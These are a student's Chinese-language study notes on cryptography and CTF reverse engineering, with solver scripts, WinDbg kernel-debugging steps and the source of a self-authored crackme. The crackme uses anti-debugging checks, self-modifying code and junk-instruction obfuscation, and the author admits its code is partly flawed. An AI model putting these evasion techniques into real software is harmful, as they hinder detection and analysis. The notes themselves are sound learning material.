大二上学习笔记

目前是准备采用有比赛时打比赛总结
没比赛时看书学习理论的学习方法
顺带把书中的大部分实验也给整了

密码学

分组密码加密操作模式

ECB

电子密码本模式加密
简答来说就是分组加密,不足则补
大腿出的17届面试题acdes就是
ecb加密模式一个缺点就是密钥不变每次加密出来的密文都是不变的
这样就可以通过流量分析和代换攻击
还有个就是位图的加密
即使加密了还是能从图中读出信息

CBC

cbc密码分组链接模式
就是多了个iv
加密方法也有点改变
能使得每次加密出来的结果都不一样
加密方法是
第一个明文与iv xor后加密的y1
y1与第二个明文x2 xor
然后结果放去加密
然后再与下一次的明文xor
解密的话只需要多一步xor
如果每次加密都选择一个新iv这样每次的密文都会不一样

OFB

输出反馈模式
目前遇到的密码学就这些,其余很少遇到特别在逆向中
等遇到了再来填坑把
开启一波技术性学习

10/15
我来了

双重加密与中间人攻击

首先是密钥的不正确可能性
就是多解问题,比如用80位密钥加密分组宽度为64位明文
会出现2 64次方种密文
但是用的密钥有2 80次方个
所以会有多重映射关系
但是可以用多组明文密文对来测试可以大大减小错误密钥概率
还有就是双重加密之所以不安全是因为中间人攻击
理论上来说双重des加密如果通过暴力的话需要2 2k次方次测试密钥
但是中间人攻击可以使得复杂度变为单重des加密的倍数
主要实现就是先对明文一次加密打表
总共2 k次方
然后对密文解密然后比较查找 2 k次方
这样就是2 k+1次方次
所以说双重加密得不偿失
真正提升安全性还是三重加密

三重加密 and 密钥漂白

三重加密最典型的就是ede模式
加密解密加密
之所以这样是可以实现单词加密
对抗差分分析也十分有效
密钥漂白对密钥位数不足但本身以足够抵抗差分分析
才会有很好的效果
具体是xor
给明文xor后加密
xor后输出

//填坑

数学知识

把之前的数学知识补充一下把
感觉re进阶数学不能落下

逆向工程核心原理

windows消息钩取

一说到钩取肯定是和hook有关
消息钩取的实现简单来说就是
当键盘发生输入事件时,消息会被添加到OS message queue
然后根据判断哪个程序发生事件,再从OS message queue取出消息添加到application message queue
hook的钩链则存在于他们之间,先于application message queue看到消息。这样就能进行很多操作
如修改,阻止。
具体实现是 SetWindowsHookEx()函数
有个示例程序貌似不兼容win10,一开就崩
明天用虚拟机跑下试试
果然虚拟机可以了 win7x86
稍微逆向了下,看书上的源码还是有点懵逼的。。。

DLL注入

简介:对运行中的其他程序强行插入特定的dll文件

KCTF

达芬奇密码

正式开始接触看雪ctf
感觉和其他ctf的区别还是挺大的
特别是对于数学的要求
经常出现逆出解不出的状况。。。
10
拖入ida后逻辑很简单,有个smc数据后memcpy
主要逻辑
11
首先是把输入与上面初始化的局部变量
逐个xor
然后开始平方
这边平方实现很奇葩看汇编看的
每个与最低位相乘后记录下值再与下一位加
连续循环8次
12
最后就是比较
就是x*2 - 7y**2 == 8
然后关键就是解方程了。。。
z3解不出。。。只好去学习一波sage
sage不能约束求解没办法
14
Mathematica
挺猛的
抽时间了解了解
最后写脚本就是多注意一个小端序问题

丛林的秘密

题目是个apk,解压后分析so库
可以发现在动态解密一个html文件
里面调用了wasm
机器码复制出来反编译成c
这边填了个坑
一开始是用
./wasm2c 1.wasm -o 1.c
然后反编译时疯狂报错
后来经室友一起查看
发现是因为名称不能以数字打头
他会修改一些神奇的宏定义
改成./wasm2c 1.wasm -o a.c即可
仔细分析发现逻辑并不复杂

1
2
3
4
5
6
a = [83,48,109,51,116,105,109,101,95,108,49,116,116,49,101,95,99,48,100,101,95,49,115,95,117,115,51,102,117,108,51,51]
b = [0x18,0x9,3,0x6b,0x1,0x5a,0x32,0x57,0x30,0x5d,0x40,0x46,0x2b,0x46,0x56,0x3d,0x2,0x43,0x17,0x0,0x32,0x53,0x1f,0x26,0x2a,0x1,0x0,0x10,0x10,0x1e,0x40,0x00]
flag = ''
for i in range(len(a)):
flag += chr(a[i]^b[i])
print flag

BYTECTF 2019

NaughtyBoy

apk逆向看了段时间
感觉不是一道太难的题目
来详细写下wp
//这边顺带夸一下不愧是r3得题,能学到好多
jeb里看不到什么,主要是看so库
1
可以看到比较开头字符串和花括号
2
下面这个其实就是单纯得长度验证,要为3得倍数
然后进如check函数
进check之前还有一个sub_400ADE函数是初始化
首先是初始化地图,复制粘贴一下打出来即可
注意一下里面的antidebug2函数
初始化了全局变量byte_5004 = 0;
这在最后验证时有用
下面来看下check
一开始会对前四个字节进行解密操作
然后开始游戏
其实是一个变种的推箱子游戏
具体规则是每三个输入为一次
前俩个输入是坐标
会检查你当前的坐标是否是O
第三个输入是行为
这边为检查你行为的那边是否为O
比如你输入1往上走就检查你上面是否为O
然后你的位置与你上面的O被清空成路线,你上上方向变为O,类似推箱子
这样再看看地图可以推出来初始位置必须是5,3
且必须往上走
这样就可以进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
unsigned char byte_500C[0x40] = {0};

int __fastcall shift(int result)
{
char v1; // r2
char v2; // r3
char v3; // r12
int v4; // r1

v1 = *(_BYTE *)(result + 1);
v2 = *(_BYTE *)(result + 2);
v3 = *(_BYTE *)(result + 3);
*(_BYTE *)result ^= 0x87u;
*(_BYTE *)(result + 1) = v1 ^ 0x42;
*(_BYTE *)(result + 2) = v2 ^ 0x71;
*(_BYTE *)(result + 3) = v3 ^ 0x48;
v4 = *(_DWORD *)result ^ (*(_DWORD *)result >> 4) & 0x3333333;
*(_DWORD *)result = v4 ^ 2 * v4 & 0xBEEFDEAC ^ ((v4 ^ 2 * v4 & 0xBEEFDEAC) >> 15) & 0x1BEEF;
return result;
}
int callfunc(unsigned __int8 *a1)
{
return shift((int)a1);
}
int __fastcall sub_4008D0(int *a1)
{
int v1; // r1
int v2; // r1

v1 = *a1;
if ( *a1 << 31 )
{
if ( v1 & 2 )
{
if ( v1 & 4 )
{
if ( v1 & 8 )
{
if ( v1 & 0x10 )
{
if ( v1 & 0x20 )
{
if ( v1 & 0x40 )
v2 = v1 & 0xFFFFFF00 | 0x80;
else
v2 = v1 & 0xFFFFFF80 | 0x40;
}
else
{
v2 = v1 & 0xFFFFFFC0 | 0x20;
}
}
else
{
v2 = v1 & 0xFFFFFFE0 | 0x10;
}
}
else
{
v2 = v1 & 0xFFFFFFF0 | 8;
}
}
else
{
v2 = v1 & 0xFFFFFFF8 | 4;
}
}
else
{
v2 = v1 & 0xFFFFFFFC | 2;
}
}
else
{
v2 = v1 | 1;
}
*a1 = v2;
return v2;
}
int main()
{
unsigned char flag[4];
int i;
char temp1,temp2,temp3,temp4;
for(temp1=32;temp1<125;temp1++)
{

for(temp2=32;temp2<125;temp2++)
{

for(temp3=32;temp3<125;temp3++)
{
for(temp4=32;temp4<125;temp4++)
{
flag[0] = temp1;
flag[1] = temp2;
flag[2] = temp3;
flag[3] = temp4;
callfunc(flag);
if(flag[0]==52&&flag[1]==53&&flag[2]==49&&flag[3]==50)
{
printf("%c%c%c%c\n",temp1,temp2,temp3,temp4);
}

}

}

}

}
return 0;
}

爆破出前四个为good
然后看下最终验证
4
就是检查第24位是否为O
那很简单了照这样走下去就行
最终flag
bytectf{good53233212414531}
5

驱动逆向

驱动逆向写起来还是有点恐怖的。。。
踩了很多坑
首先最重要的就是调试
虚拟机配好环境后用windbg连
设置好entrypoint然后再虚拟机中加载sys驱动
windbg成功断下
改下参数后就可以解密了
6
下面写下大致调试步骤
管理员运行windbg
File -> Kernel Debugging -> com
7
照样配置好
然后能看到回显
8
下面点击break
9
这边已经连接上了
然后设置断点

1
2
bp 驱动模块名称+驱动PE结构入口点函数偏移
// 如:bp DriverEnum+0x1828

bp DancingKeys+0x8000
接下去输入g
让虚拟机运行
然后加载驱动
本来是想c语言写了编译运行后加载驱动
但是失败了
后来问了下夜影师傅。。。。。。成功填坑
下面就是基本调试了

1
2
3
4
5
6
7
8
9
lm :表示列举虚拟机加载和卸载的内核模块起始地址和结束地址。
bu、bp :下断点。
u、uf :反汇编指定地址处的代码。
dd : 查看指定地址处的数据。
dt : 查看数据类型定义。
F10: 步过
F11: 步入
ed: 修改值
dd: 以dd显示值

驱动学习

学习一波驱动编程
以后可以出点沙雕赛题
当然肯定不会一次性学完的。。。慢慢来
下面是最基本的驱动

1
2
3
4
5
6
7
8
9
10
11
#include <ntddk.h>
NTSTATUS Unload(PDRIVER_OBJECT driver)
{
DbgPrint("BYE");
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
DbgPrint("HELLO");
return STATUS_SUCCESS;
}

特别简单啊和linux内核模块编程差不多
一个入口函数和卸载函数
卸载函数不写的话只能关机卸载了。。。

Android逆向

稍微结合着视频教程学了会
大致了解了安卓的架构(不然有时候问问题听都听不懂)
15
主要还是基于linux内核
还有平时逆向分析中分析native和java层
这个其实早就知道了。。。就是不知道为啥。。。算是填坑了
16

cnss

cnss是电子科大给新生的一个平台
有道不错的题目可以康康
17
这道题目过了俩天还是没人出
当时拿到题目算了下时间,30分钟出的flag
难度确实有点,但都是基础可以秒
18
大致流程如上
smc_init中有mprotect函数明显修改权限
下面有个pwdcheck
看下
19
其实是个原装的sm4算法
百度c源码直接解出pwd
key和最终比较都给了
20
然后是最后的smc操作
看上去操作很简单事实上是迷惑行为
调试发现是个vm
//个人总结了vm的速写法,很快就能看出来在干啥
就是把输入与之前的pwd xor
然后比较
不难,但是能让人眼前一亮
和国赛那个bbvvmm有神似之处
需要对加密算法熟知,当然你即使不知道这是sm4可以直接百度特征码

又上了道题
关于花的
有一说一,这平台题目确实不错,题出的挺好
特别是最近这俩题
说下这个junkcode

1
2
3
4
5
6
7
8
9
10
11
12
a = 'abcdefghijklmnopqrstuvwxyz123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ0{}_!~?,.'
t1 = [0x000ed02e,0x0014519f,0x00173801,0x00173801,0x001c683c,0x0002aebe,0x00169d98,0x001872b0,0x0017d3cd,0x000fb9dc,0x000d16fa,0x00053d52,0x0001b055,0x00169d98,0x000ed02e,0x000fb9dc,0x000d16fa,0x00028ad0,0x0014e08c,0x000d16fa,0x00053d52,0x000400e9,0x000ed02e,0x0012b367,0x000d16fa,0x00063088,0x001872b0,0x0014519f,0x0002064f,0x000d16fa,0x00049854,0x0014e08c,0x0004ccef,0x000fb9dc,0x001dcfeb]
a1 = [0x000DEF38,0x000E5DB5,0x000ED02E,0x000F4429,0x000FB9DC,0x0010330E,0x0010ADF3,0x00112C92,0x0011AC91,0x00122E46,0x0012B367,0x001339DB,0x0013C416,0x0014519F,0x0014E08C,0x001572C3,0x0016068B,0x00169D98,0x00173801,0x0017D3CD,0x001872B0,0x001914F1,0x0019B886,0x001A6136,0x001B0B25,0x001BB82B,0x0001CCDB,0x0001E827,0x0002064F,0x00022559,0x000246FC,0x0002677C,0x00028AD0,0x0002AEBE,0x0002D36C,0x0004325F,0x000463FC,0x00049854,0x0004CCEF,0x00050401,0x00053D52,0x00057717,0x0005B355,0x0005F1B4,0x00063088,0x00067189,0x0006B49C,0x0006F836,0x00073FDF,0x000787AC,0x0007D183,0x00081DA9,0x00086BD6,0x0008BA1F,0x00090C8A,0x000960CD,0x0009B52E,0x000A0DA3,0x000A67F1,0x000AC440,0x000B2065,0x0001B055,0x001C683C,0x001DCFEB,0x000D16FA,0x00008D9E,0x001E8784,0x0003D223,0x00014D71,0x00017C33]
f = ''
for i in range(35):
for j in range(len(a1)):
if t1[i] == a1[j]:
f += a[j]
break
print f
print len(f)
#cnss{8rute_F0rce_7o_F@ck_Jun3_CoDe}

直接打表解决,我打的表漏了个@。。。但是能猜出来
主要的花是俩种
一个是call影响栈指针
22
还有一个就是普通的垃圾填充了
23
全部填充nop即可

1
2
3
data = open(‘run.exe’,’rb’).read()
data = data.replace(‘\x60\x61\x90\x50\x58\x53\x5b’,’\x90\x90\x90\x90\x90\x90\x90’) #花指令机器码替换为nop
open(‘run_dejunk.exe’,’wb’).write(data)

jmp的辣鸡代码写不出脚本。。。如果单纯匹配机器码的话有其他指令也会存在0xE8
然后就是具体判断
24
就在这
具体加密在
25
观察汇编即可发现每次加密一个字节
加密完就比较
所以可以打表来写这题。。。
但这也正是这题想表达的junkcode,题目出的挺不错的。
如果加密出的难一点可能会死一片
好在是exe,换成elf angr一跑就出

又上了一题
我佛了
暂时日不出。。。
主要是壳。。。
upx 3.95最新的壳
估计改了什么东西。。。
//以前遇到壳直接脱壳机的我现在gg了
但是upx -d还是能脱但是不能运行
不像是自校验。。。
静态分析发现有花,花还是好去的
26
就是返回到shr ebx, 7指令+1处
直接patch完
27
可以看到大致流程是先判断是不是cnss{}格式
长度为38
28
然后进行取表后xor操作。。。
最后直接比较判断。。。
由于不能调试很蛋疼。。。看不太懂。。。
没办法,只好去学一波脱壳了
//day2
脱壳是不可能的
这辈子都不可能的
调试了一波
发现有类似反调试的东西,直接忽略了
29
看完后整体逻辑大致如上
有一种crc128的感觉
实在不知道怎么逆向
问了下出题人果然。。。就是个crc
学一波crc
//10.20
打巅峰极客比赛暂时咕咕咕
看了波crc32感觉逆不了
后来得知当消息长度小于等于验证长度即可逆向。。。
佛了,赶紧学一波
好吧。。。tctf 2019原题
是个密码逆向。。。搞不来

roarCTF

逆向签到。。。实在太菜了后面写不出啥

polyre

是个很恐怖的ollvm。。。
学到了点新东西
拿到ollvm的题一般我都是猜。。。
扫了一眼大致看了看判断在memcmp那
下断点输入一堆a发现每8个byte出现了重复
那就是说每8byte加密一次
然后具体看看啥加密
在所有有操作命令处下断点然后看。。。发现是把每八个输入看成long int
然后不断地*2 ^0xB0004B7679FA26B3LL
调试了发现没有规律可循就懵逼了。。。当时才打完公测。。。比较晕
就没有继续看,后来在学长的告知下发现有个工具。。。
以前看过那个腾讯安全发的文章。。。然后工具不能用
后才来知道怎么用。。。
用工具反混淆后好看了很多
21
其实是看成了signed long int
然后判断是否大于等于0
大于则乘2
否则乘2后xor
64次后进行比较
因为有溢出。。。写逆算法时懵逼了
后来发现可逆。。。通过判断奇偶来选择高位补
裂开来

Tank

开坦克。。。
直接看dll
主要逻辑就是爆破,当时逻辑分析出来了就是不知道为什么写脚本一直有问题就没有爆破出
后来还是整出来了
我佛了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import hashlib

data = [
[8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8],
[8, 8, 4, 5, 8, 1, 1, 1, 1, 1, 1, 8, 8, 8, 8, 4, 8],
[8, 2, 8, 1, 8, 8, 5, 1, 8, 8, 8, 1, 8, 1, 8, 4, 8],
[8, 5, 8, 2, 8, 8, 8, 8, 1, 8, 8, 4, 8, 1, 1, 5, 8],
[8, 8, 8, 8, 2, 4, 8, 1, 1, 8, 8, 1, 8, 5, 1, 5, 8],
[8, 8, 8, 8, 5, 8, 8, 1, 5, 1, 8, 8, 8, 1, 8, 8, 8],
[8, 8, 8, 1, 8, 8, 8, 8, 8, 8, 8, 8, 1, 8, 1, 5, 8],
[8, 1, 8, 8, 1, 8, 8, 1, 1, 4, 8, 8, 8, 8, 8, 1, 8],
[8, 4, 1, 8, 8, 5, 1, 8, 8, 8, 8, 8, 4, 2, 8, 8, 8],
[1, 1, 8, 5, 8, 2, 8, 5, 1, 4, 8, 8, 8, 1, 5, 1, 8],
[9, 1, 4, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8],
[1, 1, 8, 1, 8, 8, 2, 1, 8, 8, 5, 2, 1, 8, 8, 8, 8],
[8, 8, 8, 8, 4, 8, 8, 2, 1, 1, 8, 2, 1, 8, 1, 8, 8],
[8, 1, 1, 8, 8, 4, 4, 1, 8, 4, 2, 4, 8, 4, 8, 8, 8],
[8, 4, 8, 8, 1, 2, 8, 8, 8, 8, 1, 8, 8, 1, 8, 1, 8],
[8, 1, 1, 5, 8, 8, 8, 8, 8, 8, 8, 8, 1, 8, 8, 8, 8],
[8, 8, 1, 1, 5, 2, 8, 8, 8, 8, 8, 8, 8, 8, 2, 8, 8],
[8, 8, 4, 8, 1, 8, 2, 8, 1, 5, 8, 8, 4, 8, 8, 8, 8],
[8, 8, 2, 8, 1, 8, 8, 1, 8, 8, 1, 8, 2, 2, 5, 8, 8],
[8, 2, 1, 8, 8, 8, 8, 2, 8, 4, 5, 8, 1, 1, 2, 5, 8],
[8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8]
]

text = ''
for i in range(21):
for j in range(17):
text += str(data[i][j])
text = list(text)

for i in range(len(text)):
if text[i] == '1':
temp = list(text)
temp[i] = '8'
for j in range(i + 1, len(text)):
if text[j] == '1':
temp[j] = '8'
for k in range(j + 1, len(text)):
if text[k] == '1':
temp[k] = '8'
temp2 = ''.join(temp)
if hashlib.sha1('clearlove9' + temp2).hexdigest() == '3f649f708aafa7a0a94138dc3022f6ea611e8d01':
print 'clearlove9' + temp2
print "success"
temp[k] = '1'
temp[j] = '1'
temp[i] = '1'

python写代码能力还是不怎么厉害啊
当时好像是因为加密的时候是个list才导致爆破不出
应该改成str的

中科大校赛

KVM

又看到了kvm
看来这个坑必须填了
我佛了
参考链接
https://www.cnblogs.com/Bozh/p/5753379.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
第一步,获取到kvm句柄
kvmfd = open("/dev/kvm", O_RDWR);
第二步,创建虚拟机,获取到虚拟机句柄。
vmfd = ioctl(kvmfd, KVM_CREATE_VM, 0);
第三步,为虚拟机映射内存,还有其他的PCI,信号处理的初始化。
ioctl(kvmfd, KVM_SET_USER_MEMORY_REGION, &mem);
第四步,将虚拟机镜像映射到内存,相当于物理机的boot过程,把镜像映射到内存。
第五步,创建vCPU,并为vCPU分配内存空间。
ioctl(kvmfd, KVM_CREATE_VCPU, vcpuid);
vcpu->kvm_run_mmap_size = ioctl(kvm->dev_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
第五步,创建vCPU个数的线程并运行虚拟机。
ioctl(kvm->vcpus->vcpu_fd, KVM_RUN, 0);
第六步,线程进入循环,并捕获虚拟机退出原因,做相应的处理。
这里的退出并不一定是虚拟机关机,虚拟机如果遇到IO操作,访问硬件设备,缺页中断等都会退出执行,退出执行可以理解为将CPU执行上下文返回到QEMU。

创建kvm句柄->创建vm->分配内存->加载镜像到内存->启动线程执行KVM_RUN.
所以一般都是看拷贝的机器码来分析
hlt代表退出
这题可以看出是个tea
//我傻了没有运行。。。发现就是写好解密函数
调用号自己改就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
__int64 __fastcall sub_55C5F338615B(unsigned int *a1, int a2, __int64 a3)
{
unsigned int *v3; // rax
unsigned int *v4; // rax
__int64 result; // rax
unsigned int *v6; // rax
int v7; // [rsp+Ch] [rbp-2Ch]
int v8; // [rsp+20h] [rbp-18h]
unsigned int v9; // [rsp+20h] [rbp-18h]
int v10; // [rsp+24h] [rbp-14h]
int v11; // [rsp+24h] [rbp-14h]
unsigned int j; // [rsp+28h] [rbp-10h]
int i; // [rsp+28h] [rbp-10h]
unsigned int v14; // [rsp+2Ch] [rbp-Ch]
unsigned int v15; // [rsp+2Ch] [rbp-Ch]
unsigned int v16; // [rsp+30h] [rbp-8h]
unsigned int v17; // [rsp+30h] [rbp-8h]
unsigned int v18; // [rsp+30h] [rbp-8h]
unsigned int v19; // [rsp+34h] [rbp-4h]
unsigned int v20; // [rsp+34h] [rbp-4h]

if ( a2 )
{
if ( a2 <= 1 )
{
if ( a2 < -1 )
{
v7 = -a2;
v11 = 52 / -a2 + 6;
v15 = -1640531527 * v11;
v20 = *a1;
do
{
v9 = (v15 >> 2) & 3;
for ( i = v7 - 1; i; --i )
{
v17 = a1[i - 1];
v6 = &a1[i];
*v6 -= ((v20 ^ v15) + (v17 ^ *(_DWORD *)(4LL * (v9 ^ i & 3) + a3))) ^ (((4 * v20) ^ (v17 >> 5))
+ ((v20 >> 3) ^ (16 * v17)));
v20 = *v6;
}
v18 = a1[v7 - 1];
*a1 -= (((4 * v20) ^ (v18 >> 5)) + ((v20 >> 3) ^ (16 * v18))) ^ ((v20 ^ v15)
+ (v18 ^ *(_DWORD *)(4LL * v9 + a3)));
result = *a1;
v20 = *a1;
v15 += 1640531527;
--v11;
}
while ( v11 );
}
}
else
{
v10 = 52 / a2 + 6;
v14 = 0;
v16 = a1[a2 - 1];
do
{
v14 -= 1640531527;
v8 = (v14 >> 2) & 3;
for ( j = 0; j < a2 - 1; ++j )
{
v19 = a1[j + 1];
v3 = &a1[j];
*v3 += ((v19 ^ v14) + (v16 ^ *(_DWORD *)(4LL * (v8 ^ j & 3) + a3))) ^ (((4 * v19) ^ (v16 >> 5))
+ ((v19 >> 3) ^ (16 * v16)));
v16 = *v3;
}
v4 = &a1[a2 - 1];
*v4 += ((*a1 ^ v14) + (v16 ^ *(_DWORD *)(4LL * (v8 ^ j & 3) + a3))) ^ (((4 * *a1) ^ (v16 >> 5))
+ ((*a1 >> 3) ^ (16 * v16)));
result = *v4;
v16 = result;
--v10;
}
while ( v10 );
}
}
return result;
}
int main()
{
unsigned char key[] = {0xEF, 0xBE, 0xAD, 0xDE, 0x21, 0x43, 0xEE, 0x12, 0x66, 0xC6,
0x12, 0xBE, 0xBC, 0x3A, 0x12, 0x86};
unsigned char flag[] = {0xA9, 0x0B, 0xFC, 0x5D, 0xAA, 0xD9, 0xB6, 0xEC, 0x27, 0x8C,
0x32, 0xB9, 0x0B, 0xF0, 0xAF, 0x6E, 0xF9, 0x44, 0x32, 0xE2,
0x33, 0xB8, 0x1B, 0x6C, 0xA1, 0xD5, 0x9C, 0x8C, 0x0B, 0x60,
0x57, 0x44, 0xEA, 0x65, 0xF5, 0xB1, 0x69, 0x0F, 0x8F, 0x9C,
0x26, 0x64, 0x04, 0x10, 0x67, 0xD6, 0xB9, 0xA4, 0x3F, 0xB1,
0x7A, 0x40, 0x16, 0x86, 0xC0, 0xB7};
unsigned char temp[56];

int i,j,k;
for(i=0;i<56;i++)
{
for(k=0;k<56;k++)
temp[k]=flag[k];
sub_55C5F338615B(temp,-i,key);
for(j=0;j<56;j++)
{
printf("%c",temp[j]);
}
printf("\n");
}
return 0;
}

直接爆破
flag{KVM_i3_4_b4sic_linux_c0mp0n3nt_k3rn3l_supp0rt_vm}
过几天再写写xnuca的
当时没写出来

巅峰极客

有一说一,感觉这比赛质量不太行
俩到re
一道二血
还有一道和roar的tank一模一样的套路
我都佛了
说一下第一道吧

flodbg

就是个花指令加反调试题
完全不存在加密算法。。。说实话也太简单了吧
30
time什么的反调试直接patch即可
31
32
花指令主要是像上面的俩种
很好去
然后调试就能猜出func3是个类似栅栏的函数
他不改变你输入的值只是单纯移了下位
那就简单了输入0123456789abcdefgh然后把对应位还原即可

1
2
3
4
0123456789abcdefghi
8f6c90e1dg237abh5i4
S@yRtfTl0+ag-L_3M}{
flag{My-StL_R0T@+3}

NCTF 2019出题记录

难看的代码

源码奉上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
void change(unsigned char *a,int size,unsigned char key);
void hua(unsigned char *a);
void smc(uint32_t* v, uint32_t* k);
void desmc(uint32_t* v, uint32_t* k);
void fuck(unsigned char *a);
unsigned char check[5] = {193,38,158,255,110};
unsigned char fc[24] = {161,209,117,242,66,208,136,126,6,143,245,155,133,235,152,76,164,49,114,212,212,101,23,234};
unsigned int key[4] = {0x12345678,0xbadf00d,0x5201314,0x87654321};
unsigned char exit_0[] = {0xC7, 0x04, 0x24, 0x01, 0x00, 0x00, 0x00, 0xE8, 0x93, 0x0C,
0x00, 0x00};//exit_code
int main()
{
int i;
unsigned char flag[100]={0};
printf("plz input the flag:");
scanf("%99s",&flag);
__asm__ __volatile__(
"xor eax,eax;"
"jz lable1;"
"call lable1;"
"push 0x5201314;"
"lable1:;"
);
if(strlen(flag)!=24)
{
printf("tcl");
exit(1);
}
hua(flag);
__asm__ __volatile__(
"jmp lable8;"
"add eax,eax;"
"xor eax,eax;"
"push 0x5201314;"
"lable8:;"
);
fuck(flag);
for(i=0;i<strlen(flag);i++)
{
if(flag[i] != fc[i])
{
printf("What a pity!!!");
exit(1);
}
}
printf("you win!!!");
system("pause");
return 0;
}
void fuck(unsigned char *flag)
{
int i;
for(i=0;i<5;i++)
{
if((flag[i]^8) != check[i])
{
printf("tcl");
exit(1);
}
}
if(flag[strlen(flag)-1] != 177)
{
printf("tcl");
exit(1);
}
for(i=0;i<strlen(flag);i+=8)
smc(&flag[i],key);
}
void hua(unsigned char *a)
{
int i;
unsigned char temp1,temp2;
__asm__ __volatile__(
"jmp lable3;"
"add eax,eax;"
"xor eax,eax;"
"push 0x5201314;"
"lable3:;"
);
double_smc(change,222,0x12); //double smc here
//change(smc,130,a[strlen(a)-1]);
for(i=0;i<strlen(a)/4;i+=4)
{
a[i] += 12;
a[i+1] += 34;
__asm__ __volatile__(
"xor eax,eax;"
"jz lable2;"
"call lable2;"
"push 0x5201314;"
"lable2:;"
);
a[i+2] += 56;
a[i+3] += 78;
}
for(i=0;i<strlen(a);i++)
{
temp1 = a[i]<<3;
temp2 = a[i]>>5;
__asm__ __volatile__(
"jmp lable;"
"add eax,eax;"
"xor eax,eax;"
"push 0x5201314;"
"lable:;"
);
a[i] = temp1|temp2;
a[i] ^= 90;
}
}
void smc(uint32_t* v, uint32_t* k)
{
uint32_t v0=v[0], v1=v[1], sum=0, i;
uint32_t delta=0x9e3779b9;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i < 32; i++) {
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}
v[0]=v0; v[1]=v1;

}
void double_smc(unsigned char *a,int size,unsigned char key)
{
int i;
unsigned char temp;
DWORD dwOldFlag;
__asm__ __volatile__(
"xor eax,eax;"
"jz lable6;"
"call lable2;"
"push 0x5201314;"
"lable6:;"
);
if(!VirtualProtect(a,size,PAGE_READWRITE,&dwOldFlag))
exit(1);
for(i=0;i<size;i++)
{
*(a+i) ^= key;
}
__asm__ __volatile__(
"jmp lable7;"
"add eax,eax;"
"xor eax,eax;"
"push 0x5201314;"
"lable7:;"
);
for(i=0;i<sizeof(exit_0);i++)
{
temp = *(a+i);
*(a+i) = exit_0[i];
exit_0[i] = temp;
}
if(anti_debug1(a))
{
printf("Debug everyday makes C0ss4ck a dull boy!");
exit(0);
}
if(!VirtualProtect(a,size,dwOldFlag,&dwOldFlag))
exit(1);
change(smc,206,0x34);
}
int anti_debug1(unsigned char *a)
{
__asm__ __volatile__(
"xor eax,eax;"
"jz lable5;"
"call lable2;"
"push 0x5201314;"
"lable5:;"
);
if(!anti_debug2())
{
int i;
for(i=0;i<sizeof(exit_0);i++)
{
*(a+i) = exit_0[i];
}
}
__asm__(
"mov eax, fs:[0x30];"
"mov eax,[eax+0x68];"
"and eax,0x70;"
);
}
int anti_debug2()
{
__asm__(
"mov eax, fs:[0x30];"
"movzx eax,byte ptr [eax+2];"
);
}
void change(unsigned char *a,int size,unsigned char key)
{
int i;
DWORD dwOldFlag;
__asm__ __volatile__(
"jmp lable4;"
"add eax,eax;"
"xor eax,eax;"
"push 0x5201314;"
"lable4:;"
);
if(!VirtualProtect(a,size,PAGE_READWRITE,&dwOldFlag))
exit(1);
for(i=0;i<size;i++)
{
*(a+i) ^= key;
*(a+i) = (*(a+i)<<4) | (*(a+i)>>4);
}
if(!VirtualProtect(a,size,dwOldFlag,&dwOldFlag))
exit(1);
}

出题思路:
主要考察新生对ctf中常见的对抗逆向技术
分别是
anti_debug
Smc
Junk_code
加密部分写的不怎么复杂就一个TEA加上一些加加减减。
这些对大型比赛来说也就是个签到题把//或者签到题都算不上
源码解析:
前言:这是我六个月前第一次出题的代码有很多不足,有些还待改进。
有部分需要修改
exit_0是antibug中会使用到的
主要是对change函数开头赋值成exit(0),故机器码需要根据最后生成的可执行文件修改。
还有就是花指令部分,生成完我才发现jmp的那个花指令没有起到我想要的效果,直接修改机器码E8(call)。
